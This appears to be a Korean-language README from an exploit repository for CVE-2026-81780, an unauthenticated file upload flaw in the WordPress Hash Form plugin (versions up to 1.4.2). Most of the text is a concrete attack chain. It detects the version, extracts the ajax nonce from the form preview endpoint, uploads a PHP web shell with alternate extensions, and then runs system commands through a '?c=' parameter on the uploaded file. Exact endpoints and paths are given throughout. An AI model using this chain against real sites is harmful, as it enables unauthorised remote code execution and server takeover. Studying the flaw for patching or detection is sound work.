CVE-2026-81780-Hash-Form

CVE-2026-81780 — Hash Form RCE

취약점

WordPress Hash Form 플러그인(≤ 1.4.2)의 인증되지 않은 파일 업로드 취약점입니다. 이 플러그인은 적절한 인증 또는 파일 유형 검증 없이 임의 파일 업로드를 허용하여 원격 코드 실행(RCE)으로 이어집니다.

익스플로잇 체인

단계 동작 1 공격자는 readme.txt를 통해 Hash Form 플러그인을 확인합니다 2 양식 미리보기(hashform_preview)를 통해 ajax_nounce를 추출합니다 3 PHP 페이로드와 함께 hashform_file_upload_action에 POST 요청을 전송합니다 4 .phar, .phtml, .php5 또는 .php7 형태의 웹 셸을 업로드합니다 5 /wp-content/uploads/hashform/temp/v.{ext}에 접근하여 셸을 트리거합니다 6 ?c=id를 통해 시스템 명령을 실행합니다

GET /wp-content/plugins/hash-form/readme.txt
    ↓
버전 감지 (≤ 1.4.2)
    ↓
GET /wp-admin/admin-ajax.php?action=hashform_preview&form=1
    ↓
Nonce 추출: ajax_nounce=...
    ↓
POST /wp-admin/admin-ajax.php?action=hashform_file_upload_action
    ↓
업로드: v.phar (또는 .phtml, .php5, .php7)
    ↓
GET /wp-content/uploads/hashform/temp/v.phar?c=id
    ↓
명령 실행 (uid=www-data)```